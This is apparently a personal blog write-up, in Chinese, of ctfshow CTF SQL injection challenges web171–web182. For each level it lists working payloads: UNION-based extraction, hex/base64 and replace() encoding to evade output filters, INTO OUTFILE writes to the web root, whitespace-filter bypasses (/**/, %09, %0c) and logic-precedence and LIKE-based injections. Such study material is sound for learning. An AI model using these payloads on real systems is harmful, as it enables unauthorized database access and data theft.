ctfshow-sql
本文最后更新于:2 年前
ctfshow-sql题记
web171-web175 无过滤注入
web171 ‘%23’ + ‘–+’
SQL注释符 : url(%23) === # === –+
payload:
1′ or 1=1%23
web172 to_base64()/hex()
对结果进行了过滤,查询出的数据中不能包含flag,给出了数据库ctfshow_user2
flag头为ctfshow{xxx},不包含’flag’ ……
可用to_base64()/hex()直接在输出时进行编码,绕过输出时特殊字符的过滤
payload:
1'union select 1,2 %23
//确定注入点
1'union select 1,password from ctfshow_user2 %23
//get flag
1'union select 1,to_base64(password) from ctfshow_user2 where username='flag' %23
//利用to_base64()进行特殊字符的绕过
web173 json数据
json数据类型
函数json_encode()和json_decode()
payload:
1'union select 1,2,3%23
//确定注入点
1'union select 1,2,password from ctfshow_user3%23
//get flag
web174 hex()/replace()
避坑:第一次点击进入的是web173的网页……我是傻逼
数据库:ctfshow_user4
返回数据,ban了flag和0-9
用的是替换的思路,将数字转换为其他字符,但分不清该字符是原字符还是替换后字符,
为避免该问题,用hex()函数将flag转为16进制,然后将0-9替换为q-z输出,
hex()返回值仅包含0-9和大写A-F,可解决上述问题。
payload:
1'union select 'a','b'%23
//确定注入点
1' union select 'a',(select replace(replace (replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','r'),'3','s'),'4','t'),'5','u'),'6','v'),'7','w'),'8','x'),'9','y'),'0','z') from ctfshow_user4 where username='flag')–+
//sql语句 get flag
人工处理/脚本处理字符串,get flag
附python代码截图
web175 into outfile写入文件
数据库:ctfshow_user5
返回数据,ban了所有字符……正常数据都不回显……
select into outfield 功能:
导出数据到pc的指定目录下。
payload:
1′ union select 1,2%23
//确定注入点
1′ union select 1,password from ctfshow_user5 into outfile '/var/www/html/res.txt'%23
//访问res.txt get flag
web176-web182 过滤注入
web176 大小写
'union select 1,2,3 from ctfshow_user%23
//判断注入点
'union Select 1,2,3 from ctfshow_user%23
//确定注入点
'union Select 1,2,password from ctfshow_user%23
//get flag
web177 /**/
ban空格==>可使用/**/
数据库名,表名,列名可用”包含
1'union/**/select/**/1,2,password/**/from`ctfshow_user`%23
//get flag
web178 %09 %20
ban空格,/**/==>%09
%20无用
ASCII(09)===Tab(水平制表符)
ASCII(20)===Space(空格)
'union%09select%091,2,password%09from`ctfshow_user`%23
//get flag
web179 %0c/%0C
空格==>%0c/%0C
ASCII(0C)===换页键
'union%0cselect%0c1,2,password%0cfrom`ctfshow_user`%23
//get flag
web 180 ‘1’=’1
ban %23==>’1’=’1
group_concat()拼接字符串
'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
//get flag
id=-1'or(id=26)and'1'='1
//Y4tacker师傅的姿势
web181 逻辑 and>or
除了括号,其他可以代替空格的都给过滤了, 而且select还不区分大小写了
可用180中Y4tacker师傅的姿势:
'or(id=26)and'1'='1
放进入sql语句 –>
"select id,username,password from ctfshow_user where username !='flag' and id = "or(id=26)and'1'='1' limit 1; ";
因为and的优先级大于or,语句相当于
(username !='flag' and id =") or (id=26 and '1'='1')
左边为假,右边是真,所以sql语句相当于
select id,username,password from ctfshow_user where id=26 and '1'='1' limit 1 ;
利用逻辑关系闭合payload
学废了学废了
借鉴上述原理,构建近似payload:
'or(`username`='flag')and'1'='1
'or(`password`like'c%')and'1'='1 //flag以c开头
web182 模糊搜索 like
在181的基础上+ban了flag
'or(`username`like'f%')and'1'='1
//模糊搜索
'or(`password`like'c%')and'1'='1
//flag以c开头
未完待续
………………………………
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!